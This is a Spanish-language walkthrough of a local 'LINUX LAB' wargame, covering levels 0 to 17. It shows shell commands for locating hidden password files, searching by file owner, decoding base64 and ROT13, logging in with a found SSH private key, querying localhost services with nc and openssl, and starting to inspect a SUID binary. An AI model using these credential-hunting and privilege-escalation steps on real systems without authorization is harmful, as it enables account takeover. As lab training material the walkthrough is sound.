

Solución al lab **LINUX LAB** (nivel difícil)

```
chifay@kali: ~/Whoami-Labs/LINUX LAB
Session Actions Edit View Help

Bienvenido a WHOAMI-LABS.COM.
Aprende, simula, escala. Sin burocracia.

[*] Cargando imagen desde linuxlab.tar...
[+] Imagen cargada exitosamente.

[*] Iniciando laboratorio...
[*] Preparando laboratorio...

[v] Laboratorio desplegado correctamente.

LAB: LINUXLAB
DIFICULTAD: ***** difícil (5 XP)

Acceso SSH (resuelve todos los niveles desde aqui):
ssh level0@127.0.0.1 -p 2222
Password: whoami-labs0
Usa siempre SSH para avanzar; no necesitas acceso al contenedor Docker.

Portal web:
http://127.0.0.1:8080/

Ingresa la flag final (formato linuxlab{...}):
```

Vamos a seguir las instrucciones y conectarnos al ssh con las credenciales proporcionadas

```
level0@linuxlab:~$ whoami
level0
level0@linuxlab:~$ id
uid=1000(level0) gid=1000(level0) groups=1000(level0)
level0@linuxlab:~$ pwd
/home/level0
level0@linuxlab:~$ ls -al
total 24
drwx----- 2 level0 level0 4096 Sep 18 00:04 .
drwxr-xr-x 1 root root 4096 Sep 18 00:04 ..
-rw-r--r-- 1 level0 level0 220 May 7 20:33 .bash_logout
-rw-r--r-- 1 level0 level0 3526 May 7 20:33 .bashrc
-rw-r--r-- 1 level0 level0 807 May 7 20:33 .profile
-rw-r----- 1 level1 level0 17 Sep 18 00:04 readme
level0@linuxlab:~$ cat readme
xR7kP2mQv8nT3wL1
```

Encontramos lo que parece ser la contraseña del usuario level1, vamos a probarlo

```
level0@linuxlab:~$ su level1
Password:
level1@linuxlab:/home/level0$ whoami
level1
level1@linuxlab:/home/level0$ id
uid=1001(level1) gid=1001(level1) groups=1001(level1)
level1@linuxlab:/home/level0$ ls -al /home/level1
total 28
-rw-r----- 1 level2 level1 17 Sep 18 00:04 -
drwx----- 2 level1 level1 4096 Sep 18 00:32 .
drwxr-xr-x 1 root root 4096 Sep 18 00:04 ..
-rw----- 1 level1 level1 120 Sep 18 00:32 .bash_history
-rw-r--r-- 1 level1 level1 220 May 7 20:33 .bash_logout
-rw-r--r-- 1 level1 level1 3526 May 7 20:33 .bashrc
-rw-r--r-- 1 level1 level1 807 May 7 20:33 .profile
level1@linuxlab:/home/level0$ cat /home/level1
level1/ level10/ level11/ level12/ level13/ level14/ level15/ level16/ level17/ level18/ level19/
level1@linuxlab:/home/level0$ cat /home/level1/-
j9Ht4bNc6yF5dS2q
```

Encontramos la contraseña del usuario level2

```
level1@linuxlab:/home/level0$ su level2
Password:
level2@linuxlab:/home/level0$ whoami
level2
level2@linuxlab:/home/level0$ id
uid=1002(level2) gid=1002(level2) groups=1002(level2)
level2@linuxlab:/home/level0$ ls -al /home/level2
total 24
drwx----- 2 level2 level2 4096 Sep 18 00:04 .
drwxr-xr-x 1 root root 4096 Sep 18 00:04 ..
-rw-r--r-- 1 level2 level2 220 May 7 20:33 .bash_logout
-rw-r--r-- 1 level2 level2 3526 May 7 20:33 .bashrc
-rw-r--r-- 1 level2 level2 807 May 7 20:33 .profile
-rw-r----- 1 level3 level2 17 Sep 18 00:04 'espacios en este archivo'
level2@linuxlab:/home/level0$ cat /home/level2/'espacios en este archivo'
pK8wM3xV7nQ6tR4e
```

Encontramos la contraseña del usuario level3

```
level2@linuxlab:/home/level0$ su level3
Password:
level3@linuxlab:/home/level0$ whoami
level3
level3@linuxlab:/home/level0$ id
uid=1003(level3) gid=1003(level3) groups=1003(level3)
level3@linuxlab:/home/level0$ ls -al /home/level3
total 24
drwx----- 3 level3 level3 4096 Sep 18 00:04 .
drwxr-xr-x 1 root root 4096 Sep 18 00:04 ..
-rw-r--r-- 1 level3 level3 220 May 7 20:33 .bash_logout
-rw-r--r-- 1 level3 level3 3526 May 7 20:33 .bashrc
-rw-r--r-- 1 level3 level3 807 May 7 20:33 .profile
drwxr-x-- 2 level4 level3 4096 Sep 18 00:04 inheret
level3@linuxlab:/home/level0$ ls -al /home/level3/inheret
total 12
drwxr-x-- 2 level4 level3 4096 Sep 18 00:04 .
drwx----- 3 level3 level3 4096 Sep 18 00:04 ..
-rw-r----- 1 level4 level3 17 Sep 18 00:04 .oculto
level3@linuxlab:/home/level0$ cat /home/level3/inheret/.oculto
hG5cL9bN2yJ7mF1a
```

Encontramos la contraseña del usuario level4

```
level3@linuxlab:/home/level0$ su level4
Password:
level4@linuxlab:/home/level0$ whoami
level4
level4@linuxlab:/home/level0$ id
uid=1004(level4) gid=1004(level4) groups=1004(level4)
level4@linuxlab:/home/level0$ ls -al /home/level4
total 24
drwx----- 3 level4 level4 4096 Sep 18 00:04 .
drwxr-xr-x 1 root root 4096 Sep 18 00:04 ..
-rw-r--r-- 1 level4 level4 220 May 7 20:33 .bash_logout
-rw-r--r-- 1 level4 level4 3526 May 7 20:33 .bashrc
-rw-r--r-- 1 level4 level4 807 May 7 20:33 .profile
drwxr-x-- 2 level5 level4 4096 Sep 18 00:04 inheret
level4@linuxlab:/home/level0$ ls -al /home/level4/inheret/
total 48
-rw-r----- 1 level5 level4 33 Sep 18 00:04 -file00
-rw-r----- 1 level5 level4 33 Sep 18 00:04 -file01
-rw-r----- 1 level5 level4 33 Sep 18 00:04 -file02
-rw-r----- 1 level5 level4 33 Sep 18 00:04 -file03
-rw-r----- 1 level5 level4 33 Sep 18 00:04 -file04
-rw-r----- 1 level5 level4 33 Sep 18 00:04 -file05
-rw-r----- 1 level5 level4 33 Sep 18 00:04 -file06
-rw-r----- 1 level5 level4 17 Sep 18 00:04 -file07
-rw-r----- 1 level5 level4 33 Sep 18 00:04 -file08
-rw-r----- 1 level5 level4 33 Sep 18 00:04 -file09
drwxr-x-- 2 level5 level4 4096 Sep 18 00:04 .
drwx----- 3 level4 level4 4096 Sep 18 00:04 ..
```

Todos los archivos tienen 33 bytes, a excepción de -file07 que tiene 17 bytes al igual que las demás pistas encontradas anteriormente

```
level4@linuxlab:/home/level0$ cat /home/level4/inhere/-file07
zT6vX3kR8wP4nQ9s
```

Encontramos la contraseña del usuario level5

```
level4@linuxlab:/home/level0$ su level5
Password:
level5@linuxlab:/home/level0$ whoami
level5
level5@linuxlab:/home/level0$ id
uid=1005(level5) gid=1005(level5) groups=1005(level5)
level5@linuxlab:/home/level0$ ls -al /home/level5/
.bash_logout .bashrc .profile inhere/
level5@linuxlab:/home/level0$ ls -al /home/level5/inhere/
total 48
drwxr-x— 12 level6 level5 4096 Sep 18 00:04 .
drwx— 3 level5 level5 4096 Sep 18 00:04 ..
drwxr-xr-x 2 level6 level5 4096 Sep 18 00:04 carpeta0
drwxr-xr-x 2 level6 level5 4096 Sep 18 00:04 carpeta1
drwxr-xr-x 2 level6 level5 4096 Sep 18 00:04 carpeta2
drwxr-xr-x 2 level6 level5 4096 Sep 18 00:04 carpeta3
drwxr-xr-x 2 level6 level5 4096 Sep 18 00:04 carpeta4
drwxr-xr-x 2 level6 level5 4096 Sep 18 00:04 carpeta5
drwxr-xr-x 2 level6 level5 4096 Sep 18 00:04 carpeta6
drwxr-xr-x 2 level6 level5 4096 Sep 18 00:04 carpeta7
drwxr-xr-x 2 level6 level5 4096 Sep 18 00:04 carpeta8
drwxr-xr-x 2 level6 level5 4096 Sep 18 00:04 carpeta9
level5@linuxlab:/home/level0$
```

Nos topamos con 10 carpetas, necesitamos encontrar un archivo de 17 bytes que contenga la contraseña del usuario level6, vamos a ver el contenido de todas las carpetas

```
level5@linuxlab:/home/level0$ for d in /home/level5/inhere/carpeta*; do
echo "=== $d ==="
ls -al "$d"
echo ""
done
=== /home/level5/inhere/carpeta0 ===
total 32
drwxr-xr-x 2 level6 level5 4096 Sep 18 00:04 .
drwxr-x— 12 level6 level5 4096 Sep 18 00:04 ..
-rw-r— 1 level6 level5 3619 Sep 18 00:04 archivo0
-rw-r— 1 level6 level5 3567 Sep 18 00:04 archivo1
-rw-r— 1 level6 level5 4594 Sep 18 00:04 archivo2
-rw-r— 1 level6 level5 947 Sep 18 00:04 archivo3
-rw-r— 1 level6 level5 2082 Sep 18 00:04 archivo4
```

Todas las demás carpetas tienen exactamente la misma estructura con 5 archivos, y todos son mayores a los 17 bytes que habíamos encontrado hasta ahora, vamos a identificar cual de estos archivos tiene contenido en texto plano en vez de binario o contenido ofuscado

```
level5@linuxlab:/home/level0$ for f in /home/level5/inhere/carpeta*/*; do
echo "=== $f ==="
file "$f"
done
=== /home/level5/inhere/carpeta0/archivo0 ===
/home/level5/inhere/carpeta0/archivo0: data
=== /home/level5/inhere/carpeta0/archivo1 ===
/home/level5/inhere/carpeta0/archivo1: data
=== /home/level5/inhere/carpeta0/archivo2 ===
/home/level5/inhere/carpeta0/archivo2: data
=== /home/level5/inhere/carpeta0/archivo3 ===
/home/level5/inhere/carpeta0/archivo3: data
=== /home/level5/inhere/carpeta0/archivo4 ===
/home/level5/inhere/carpeta0/archivo4: data
```

Todos los archivos son de tipo data a excepción de

```
== /home/level5/inhere/carpeta2/archivo2 ==  
/home/level5/inhere/carpeta2/archivo2: data  
== /home/level5/inhere/carpeta2/archivo3 ==  
/home/level5/inhere/carpeta2/archivo3: ASCII text, with very long lines (1032)  
== /home/level5/inhere/carpeta2/archivo4 ==  
/home/level5/inhere/carpeta2/archivo4: data  
== /home/level5/inhere/carpeta3/archivo0 ==  
/home/level5/inhere/carpeta3/archivo0: data
```

Veamos su contenido

```
level5@linuxlab:/home/level0$ cat /home/level5/inhere/carpeta2/archivo3  
dB2mJ7hL5cN9xF3w  
  
level5@linuxlab:/home/level0$
```

Encontramos la contraseña del usuario level6 (con espacio en blanco adicional para incrementar el tamaño del archivo)

```
level5@linuxlab:/home/level0$ su level6  
Password:  
level6@linuxlab:/home/level0$ whoami  
level6  
level6@linuxlab:/home/level0$ id  
uid=1006(level6) gid=1006(level6) groups=1006(level6)  
level6@linuxlab:/home/level0$ ls -al /home/level6/.  
./ ../.bash_logout .bashrc .profile  
level6@linuxlab:/home/level0$ ls -al /home/level6/  
total 20  
drwx----- 2 level6 level6 4096 Sep 18 00:04 .  
drwxr-xr-x 1 root root 4096 Sep 18 00:04 ..  
-rw-r--r-- 1 level6 level6 220 May 7 20:33 .bash_logout  
-rw-r--r-- 1 level6 level6 3526 May 7 20:33 .bashrc  
-rw-r--r-- 1 level6 level6 807 May 7 20:33 .profile  
level6@linuxlab:/home/level0$
```

Aquí nos encontramos con el home de level6 vacío, sin pistas, vamos a buscar todos los archivos que son propiedad del usuario level7

```
level6@linuxlab:/home/level0$ find / -user level7 2>/dev/null  
/etc/linuxlab_pass/level7  
/home/level7  
/var/lib/linuxlab/data/credencial.txt  
level6@linuxlab:/home/level0$
```

Vamos a ver el contenido de credencial.txt

```
level6@linuxlab:/home/level0$ cat /var/lib/linuxlab/data/credencial.txt  
rY4pK8tV6bQ1mG5e  
level6@linuxlab:/home/level0$
```

Hemos encontrado la contraseña del usuario level7

```

level6@linuxlab:/home/level0$ su level7
Password:
level7@linuxlab:/home/level0$ whoami
level7
level7@linuxlab:/home/level0$ id
uid=1007(level7) gid=1007(level7) groups=1007(level7)
level7@linuxlab:/home/level0$ ls -al /home/level7
total 2560
drwx----- 2 level7 level7 4096 Sep 18 00:04 .
drwxr-xr-x 1 root root 4096 Sep 18 00:04 ..
-rw-r--r-- 1 level7 level7 220 May 7 20:33 .bash_logout
-rw-r--r-- 1 level7 level7 3526 May 7 20:33 .bashrc
-rw-r--r-- 1 level7 level7 807 May 7 20:33 .profile
-rw-r----- 1 level8 level7 2598939 Sep 18 00:04 datos.txt
level7@linuxlab:/home/level0$ cat /home/level7/datos.txt
jwiucsnhgxe aUAnAISw2S25tke0
kdljyxsmabr CBBqtu0Gj2It5dZ4
hlndtmiaz Jf612cyzANv0N0nP
ubgecaietpc GAYUVIM7wSHDRi29
kitnzilwtgqx zro9Rgyu4eMN46YZ
hhsalu WWkrCnsEFrBtDSet
fsyltxb yKX0yi8nyGt0kp1t
oozyj 2kiSBZ1KDFmuovtX
majrzib e2RsPmjKHUzc8Hay
evqnbk voKF0nk0ISiY4a2k

```

El archivo datos.txt contiene demasiados datos, vamos a filtrarlos para ver la contraseña del usuario level8 según las indicaciones de la web

Nivel 7 → Nivel 8

Búsqueda de patrones en texto



Objetivo del Nivel

La contraseña para el siguiente nivel está guardada en el archivo `datos.txt` junto a la palabra `whoami`. El archivo contiene miles de líneas y necesitas encontrar la línea específica.

```

level7@linuxlab:/home/level0$ cat /home/level7/datos.txt | grep whoami
whoami nW9xH3jR7kL2cT6a
level7@linuxlab:/home/level0$

```

Hemos encontrado la contraseña del usuario level8

```

level7@linuxlab:/home/level0$ su level8
Password:
level8@linuxlab:/home/level0$ whoami
level8
level8@linuxlab:/home/level0$ id
uid=1008(level8) gid=1008(level8) groups=1008(level8)
level8@linuxlab:/home/level0$ ls -al /home/level8
total 32
drwx----- 2 level8 level8 4096 Sep 18 00:04 .
drwxr-xr-x 1 root root 4096 Sep 18 00:04 ..
-rw-r--r-- 1 level8 level8 220 May 7 20:33 .bash_logout
-rw-r--r-- 1 level8 level8 3526 May 7 20:33 .bashrc
-rw-r--r-- 1 level8 level8 807 May 7 20:33 .profile
-rw-r----- 1 level9 level8 9944 Sep 18 00:04 datos.txt

```

Hemos encontrado el archivo datos.txt, veamos la pista para ver cómo debemos tratarlo

Nivel 8 → Nivel 9

Líneas únicas y duplicadas



Objetivo del Nivel

La contraseña para el siguiente nivel está guardada en el archivo `datos.txt` y es la única línea de texto que aparece exactamente una sola vez. Todas las demás líneas están repetidas múltiples veces.

Primero veamos la estructura del archivo viendo las primeras 20 filas

```
level8@linuxlab:/home/level0$ head -20 /home/level8/datos.txt
6sLTjc3B1WGdf980
oLp82qRkcRl8aEeV
7le8N7YQosy42dXB
qZaPoD00nfUJtSTS
XzuBwHMwsYAMFsUy
BDuhPKbJ2JhJhNmX
FgH9rhShN80VUsmV
P55sZ3P7HNRjwJAC
UTWwHb1H0pbhE02D
1o5s5RSKv0PbE8kc
0KYCtwwjgFembAb2
6YaFLVqecr6saZIs
0KYCtwwjgFembAb2
2u1lkF5RTRMA3ljh
4zytgonnnpvaYDe65
0KYCtwwjgFembAb2
cL067tBqGLi4f0Hh
7dpJ0TADJW4BwZwe
0gAAhSFInGVyy3K5
YjlQtMsUUXNppwmP
```

Como sólo hay una columna, esto nos facilita las cosas, vamos a ordenarlas, contar cuántas veces aparece, ordenarlas de menor a mayor y mostrar las primeras 5

```
level8@linuxlab:/home/level0$ sort /home/level8/datos.txt | uniq -c | sort -n | head -5
1 fS5vM1bP8yN4dG7q
2 6JBEHBWk3W906HqI
2 7aT3odVf0NpZrSSZ
2 8JUDLpPMI2kPxpKu
2 GmwYTLIeiLyT9Xp
```

Hemos encontrado la contraseña del usuario level9

```
level8@linuxlab:/home/level0$ su level9
Password:
level9@linuxlab:/home/level0$ whoami
level9
level9@linuxlab:/home/level0$ id
uid=1009(level9) gid=1009(level9) groups=1009(level9)
level9@linuxlab:/home/level0$ ls -al /home/level9
total 24
drwx----- 2 level9 level9 4096 Sep 18 00:04 .
drwxr-xr-x 1 root root 4096 Sep 18 00:04 ..
-rw-r--r-- 1 level9 level9 220 May 7 20:33 .bash_logout
-rw-r--r-- 1 level9 level9 3526 May 7 20:33 .bashrc
-rw-r--r-- 1 level9 level9 807 May 7 20:33 .profile
-rw-r----- 1 level10 level9 525 Sep 18 00:04 datos.bin
level9@linuxlab:/home/level0$ cat /home/level9/datos.bin
```

Veamos las instrucciones para tratar datos.bin

Nivel 9 → Nivel 10

Extraer texto de archivos binarios



Objetivo del Nivel

La contraseña para el siguiente nivel está guardada en el archivo `datos.bin`, que es un archivo binario. La contraseña está precedida por varios caracteres `=` (igual) consecutivos dentro del archivo.

Vamos a extraerlo usando strings + sed

```
level9@linuxlab:/home/level0$ strings /home/level9/datos.bin | grep "=" | sed 's/.*=//'
tK3wR6hJ9mX2nL8s[
level9@linuxlab:/home/level0$
```

Hemos encontrado la contraseña del usuario level10

```
level9@linuxlab:/home/level0$ su level10
Password:
level10@linuxlab:/home/level0$ whoami
level10
level10@linuxlab:/home/level0$ id
uid=1010(level10) gid=1010(level10) groups=1010(level10)
level10@linuxlab:/home/level0$ ls -al /home/level10
total 24
drwx----- 2 level10 level10 4096 Sep 18 00:04 .
drwxr-xr-x 1 root root 4096 Sep 18 00:04 ..
-rw-r--r-- 1 level10 level10 220 May 7 20:33 .bash_logout
-rw-r--r-- 1 level10 level10 3526 May 7 20:33 .bashrc
-rw-r--r-- 1 level10 level10 807 May 7 20:33 .profile
-rw-r----- 1 level11 level10 25 Sep 18 00:04 datos.txt
level10@linuxlab:/home/level0$ cat /home/level10/datos.txt
YLE3Y1Y0cEYxeFQ1a1k5ZQo=
level10@linuxlab:/home/level0$ echo "YLE3Y1Y0cEYxeFQ1a1k5ZQo=" | base64 -d
bQ7cV4pF1xT5kY9e
level10@linuxlab:/home/level0$
```

Hemos encontrado la contraseña del usuario level11

```

level10@linuxlab:/home/level0$ su level11
Password:
level11@linuxlab:/home/level0$ whoami
level11
level11@linuxlab:/home/level0$ id
uid=1011(level11) gid=1011(level11) groups=1011(level11)
level11@linuxlab:/home/level0$ ls -al /home/level11
total 24
drwx----- 2 level11 level11 4096 Sep 18 00:04 .
drwxr-xr-x 1 root    root    4096 Sep 18 00:04 ..
-rw-r--r-- 1 level11 level11 220  May  7 20:33 .bash_logout
-rw-r--r-- 1 level11 level11 3526 May  7 20:33 .bashrc
-rw-r--r-- 1 level11 level11 807  May  7 20:33 .profile
-rw-r----- 1 level12 level11 17   Sep 18 00:04 datos.txt
level11@linuxlab:/home/level0$ cat datos.txt
cat: datos.txt: Permission denied
level11@linuxlab:/home/level0$ cat /home/level11/datos.txt
zA2qU8wT5jE3iC6n

```

Veamos la pista de este nivel

Nivel 11 → Nivel 12

Cifrado por sustitución (ROT13)



Objetivo del Nivel

La contraseña para el siguiente nivel está guardada en el archivo `datos.txt`, donde todo el texto ha sido cifrado usando ROT13. ROT13 es un cifrado de sustitución que reemplaza cada letra por la letra 13 posiciones adelante en el alfabeto.

```

level11@linuxlab:/home/level0$ echo "zA2qU8wT5jE3iC6n" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
mN2dH8jG5wR3vP6a
level11@linuxlab:/home/level0$

```

Hemos encontrado la contraseña del usuario level12

```

level11@linuxlab:/home/level0$ su level12
Password:
level12@linuxlab:/home/level0$ whoami
level12
level12@linuxlab:/home/level0$ id
uid=1012(level12) gid=1012(level12) groups=1012(level12)
level12@linuxlab:/home/level0$ ls -al /home/level12
total 24
drwx----- 2 level12 level12 4096 Sep 18 00:04 .
drwxr-xr-x 1 root    root    4096 Sep 18 00:04 ..
-rw-r--r-- 1 level12 level12 220  May  7 20:33 .bash_logout
-rw-r--r-- 1 level12 level12 3526 May  7 20:33 .bashrc
-rw-r--r-- 1 level12 level12 807  May  7 20:33 .profile
-rw-r----- 1 level13 level12 1148 Sep 18 00:04 datos.txt

```

Veamos la pista de este nivel

Nivel 12 → Nivel 13

Descompresión encadenada



Objetivo del Nivel

La contraseña para el siguiente nivel está guardada en el archivo `datos.txt`, que es un hexdump de un archivo que ha sido comprimido repetidamente. Necesitarás crear un directorio temporal en `/tmp`, revertir el hexdump y descomprimir el resultado múltiples veces hasta obtener la contraseña.

Despues de descomprimir multiples veces llegamos hasta un archivo ASCII

```
level12@linuxlab:/tmp/level12_work$ file data2
data2: ASCII text
level12@linuxlab:/tmp/level12_work$ cat data2
xL9tK4bS7nF1cQ8w
level12@linuxlab:/tmp/level12_work$
```

Hemos encontrado la contraseña del usuario level13

```
level12@linuxlab:/$ su level13
Password:
level13@linuxlab:/$ whoami
level13
level13@linuxlab:/$ id
uid=1013(level13) gid=1013(level13) groups=1013(level13)
level13@linuxlab:/$ ls -al /home/level13
total 24
drwx----- 2 level13 level13 4096 Sep 18 00:04 .
drwxr-xr-x 1 root    root    4096 Sep 18 00:04 ..
-rw-r--r-- 1 level13 level13  220 May  7 20:33 .bash_logout
-rw-r--r-- 1 level13 level13 3526 May  7 20:33 .bashrc
-rw-r--r-- 1 level13 level13  807 May  7 20:33 .profile
-rw----- 1 level13 level13 1823 Sep 18 00:04 llave_privada
```

Veamos la pista de este nivel

Nivel 13 → Nivel 14

Autenticación con llave SSH



Objetivo del Nivel

La contraseña para el siguiente nivel no está en texto plano. En tu directorio home hay una llave privada SSH: úsala para entrar como **level14** y, desde esa sesión, averigua dónde el sistema guarda las credenciales de ese usuario.

Veamos el contenido de las primeras 5 líneas para verificar si es una llave privada

```
level13@linuxlab:/$ head -5 /home/level13/llave_privada
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAABG5vbmUAAAABm9uZQAAAAAAAAABAAABFwAAAAAdzc2gtcn
NhAAAAAwEAAQAAQEA3GahSRV1H42rQi0oJmigFDlyMPg0aciKoSk0U2eoFdJ/ubstBaEK
e/dnwRknIsbeC6G7uYdP9wBz8D+NK9cyA674fGvKJMHUIB23avrBm16tVVp9B4qKapagPz
ETWHAHq78Eg5wKGcp6qISTXafGhLY1GaVUMpBuyDLsnv8Uhlb00P7rLLAjFtK5gXYmBHDA
```

Vamos a usarla para conectarnos como el usuario level14

```
level13@linuxlab:/$ ssh -i /home/level13/llave_privada level14@127.0.0.1 -p 22
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ED25519 key fingerprint is SHA256:fc2MsAaNAIqfDwmhxwmU8tQ730TghySS4+2FFmAmqME.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '127.0.0.1' (ED25519) to the list of known hosts.
Linux linuxlab 7.1.5+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 7.1.5-1kali1 (2026-07-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
level14@linuxlab:~$ whoami
level14
level14@linuxlab:~$ id
uid=1014(level14) gid=1014(level14) groups=1014(level14)
level14@linuxlab:~$ ls -al /home/level14
total 24
drwx----- 3 level14 level14 4096 Sep 18 00:04 .
drwxr-xr-x 1 root root 4096 Sep 18 00:04 ..
-rw-r--r-- 1 level14 level14 220 May 7 20:33 .bash_logout
-rw-r--r-- 1 level14 level14 3526 May 7 20:33 .bashrc
-rw-r--r-- 1 level14 level14 807 May 7 20:33 .profile
drwx----- 2 level14 level14 4096 Sep 18 00:04 .ssh
level14@linuxlab:~$
```

Vamos a buscar archivos cuyo propietario sea el usuario level14

```
level14@linuxlab:~$ find / -user level14 -ls 2>/dev/null
 296755      4 -r-----   1 level14  level14      17 Sep 18 00:04 /etc/linuxlab_pass/level14
69335068      0 dr-xr-xr-x   9 level14  level14      0 Sep 18 05:03 /proc/2707
69336760      0 dr-xr-xr-x   3 level14  level14      0 Sep 18 05:03 /proc/2707/task
69336815      0 dr-xr-xr-x   7 level14  level14      0 Sep 18 05:03 /proc/2707/task/2707
69336817      0 dr-xr-xr-x   2 level14  level14      0 Sep 18 05:03 /proc/2707/task/2707/fdinfo
69336819      0 dr-xr-xr-x   6 level14  level14      0 Sep 18 05:03 /proc/2707/task/2707/net
69336844      0 dr-xr-xr-x   2 level14  level14      0 Sep 18 05:03 /proc/2707/task/2707/attr
69336870      0 dr-xr-xr-x   2 level14  level14      0 Sep 18 05:03 /proc/2707/task/2707/attr/apparmor
69336763      0 dr-xr-xr-x   2 level14  level14      0 Sep 18 05:03 /proc/2707/fdinfo
69336765      0 dr-xr-xr-x   6 level14  level14      0 Sep 18 05:03 /proc/2707/net
69336792      0 dr-xr-xr-x   2 level14  level14      0 Sep 18 05:03 /proc/2707/attr
69336880      0 dr-xr-xr-x   2 level14  level14      0 Sep 18 05:03 /proc/2707/attr/apparmor
69335069      0 dr-xr-xr-x   9 level14  level14      0 Sep 18 05:03 /proc/2708
69336884      0 dr-xr-xr-x   3 level14  level14      0 Sep 18 05:03 /proc/2708/task
69336939      0 dr-xr-xr-x   7 level14  level14      0 Sep 18 05:03 /proc/2708/task/2708
69336940      0 dr-x-----   2 level14  level14      4 Sep 18 05:03 /proc/2708/task/2708/fd
69336988      0 lrwx-----   1 level14  level14     64 Sep 18 05:03 /proc/2708/task/2708/fd/0 -> /dev/pts/1
```

El primer archivo cumple con las características de los archivos de contraseñas de este lab., veamos su contenido

```
level14@linuxlab:~$ cat /etc/linuxlab_pass/level14
pY5mJ3hV6dR9xG2q
level14@linuxlab:~$
```

Hemos encontrado la contraseña del usuario level14, veamos la pista para el siguiente nivel

Nivel 14 → Nivel 15

Comunicación con servicios de red



Objetivo del Nivel

La contraseña para el siguiente nivel se obtiene enviando la contraseña del nivel actual al puerto **4444** de **localhost**. Hay un servicio escuchando en ese puerto que validará tu contraseña y te devolverá la del siguiente nivel.

```
level14@linuxlab:~$ echo "pY5mJ3hV6dR9xG2q" | nc 127.0.0.1 4444
kT8nW1cL4bH7mS5e
level14@linuxlab:~$
```

Hemos encontrado la contraseña del usuario level15

```
level14@linuxlab:~$ su level15
Password:
level15@linuxlab:/home/level14$ whoami
level15
level15@linuxlab:/home/level14$ id
uid=1015(level15) gid=1015(level15) groups=1015(level15)
level15@linuxlab:/home/level14$ ls -al /home/level15
total 20
drwx----- 2 level15 level15 4096 Sep 18 00:04 .
drwxr-xr-x 1 root root 4096 Sep 18 00:04 ..
-rw-r--r-- 1 level15 level15 220 May 7 20:33 .bash_logout
-rw-r--r-- 1 level15 level15 3526 May 7 20:33 .bashrc
-rw-r--r-- 1 level15 level15 807 May 7 20:33 .profile
```

Veamos la pista de este nivel

Nivel 15 → Nivel 16

Conexiones cifradas SSL/TLS



Objetivo del Nivel

La contraseña para el siguiente nivel se obtiene enviando la contraseña del nivel actual al puerto 5555 de localhost usando una conexión cifrada SSL/TLS. Este servicio requiere comunicación encriptada; nc no funcionará aquí.

Veamos la contraseña del usuario level15

```
level15@linuxlab:/home/level14$ cat /etc/linuxlab_pass/level15
kT8nW1cL4bH7mS5e
level15@linuxlab:/home/level14$
```

Ahora mandémosla al puerto 5555 usando una conexión cifrada SSL/TLS

```
level15@linuxlab:/home/level14$ echo "kT8nW1cL4bH7mS5e" | openssl s_client -connect 127.0.0.1:5555 -quiet 2>/dev/null
vR6xP3jK9wN2tF4a
level15@linuxlab:/home/level14$
```

Hemos encontrado la contraseña del usuario level16

```
level15@linuxlab:/home/level14$ su level16
Password:
level16@linuxlab:/home/level14$ whoami
level16
level16@linuxlab:/home/level14$ id
uid=1016(level16) gid=1016(level16) groups=1016(level16)
level16@linuxlab:/home/level14$ ls -al /home/level16
total 28
drwx----- 2 level16 level16 4096 Sep 18 00:04 .
drwxr-xr-x 1 root root 4096 Sep 18 00:04 ..
-rw-r--r-- 1 level16 level16 220 May 7 20:33 .bash_logout
-rw-r--r-- 1 level16 level16 3526 May 7 20:33 .bashrc
-rw-r--r-- 1 level16 level16 807 May 7 20:33 .profile
-rw-r----- 1 level17 level16 1699 Sep 18 00:04 passwords_new.txt
-rw-r----- 1 level17 level16 1699 Sep 18 00:04 passwords_old.txt
level16@linuxlab:/home/level14$
```

Veamos a pista de este nivel

Nivel 16 → Nivel 17

Comparación de archivos



Objetivo del Nivel

Hay dos archivos en tu directorio home: `passwords_old.txt` y `passwords_new.txt`. La contraseña para el siguiente nivel es la única línea que ha sido cambiada entre los dos archivos. Necesitas encontrar qué línea es diferente.

Usando diff

```
level16@linuxlab:/home/level14$ diff /home/level16/passwords_old.txt /home/level16/passwords_new.txt
8c8
< nZKMbEMr1ctlCG06
---
> hG7dM5bY8cQ1nX3s
level16@linuxlab:/home/level14$
```

- diff compara los dos archivos línea por línea.
- Mostrará las líneas que difieren con < (old) y > (new).

La línea que aparece con > (new) es la contraseña de level17

Usando comm

```
level16@linuxlab:/home/level14$ comm -3 <(sort /home/level16/passwords_old.txt) <(sort /home/level16/passwords_new.txt)
hG7dM5bY8cQ1nX3s
nZKMbEMr1ctlCG06
level16@linuxlab:/home/level14$
```

- comm -3: Muestra solo las líneas únicas de cada archivo.
- La línea que aparece es la que difiere

Conectémonos como level17

```
level16@linuxlab:/home/level14$ su level17
Password:
level17@linuxlab:/home/level14$ whoami
level17
level17@linuxlab:/home/level14$ id
uid=1017(level17) gid=1017(level17) groups=1017(level17)
level17@linuxlab:/home/level14$ ls -al /home/level17
total 20
drwx----- 2 level17 level17 4096 Sep 18 00:04 .
drwxr-xr-x 1 root    root    4096 Sep 18 00:04 ..
-rw-r--r-- 1 level17 level17  220 May  7 20:33 .bash_logout
-rw-r--r-- 1 level17 level17 3526 May  7 20:33 .bashrc
-rw-r--r-- 1 level17 level17  807 May  7 20:33 .profile
level17@linuxlab:/home/level14$
```

Veamos la pista de este nivel

Nivel 17 → Nivel 18

Binarios con permisos especiales (SUID)



Objetivo del Nivel

Hay un binario con permisos SUID en `/usr/bin/executor`. Este programa ejecuta comandos con los privilegios del usuario `level18` (su propietario). La contraseña del siguiente nivel está en un archivo que solo `level18` puede leer.

Primero vamos a inspeccionar el binario `/usr/bin/executor` para entender que es lo que hace

```

level17@linuxlab:/home/level14$ ls -la /usr/bin/executor
-rwsr-xr-x 1 level18 level18 16368 Jul  9 21:01 /usr/bin/executor
level17@linuxlab:/home/level14$ file /usr/bin/executor
/usr/bin/executor: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64
/ld-linux-x86-64.so.2, BuildID[sha1]=2638f199276f3a4b19db55ec7813b971570ca5f1, for GNU/Linux 3.2.0, not stripped
level17@linuxlab:/home/level14$ strings /usr/bin/executor
/lib64/ld-linux-x86-64.so.2
'o:K
setgid
setuid
system
strlen
strcat
__libc_start_main
stderr
fprintf
__cxa_finalize
getegid
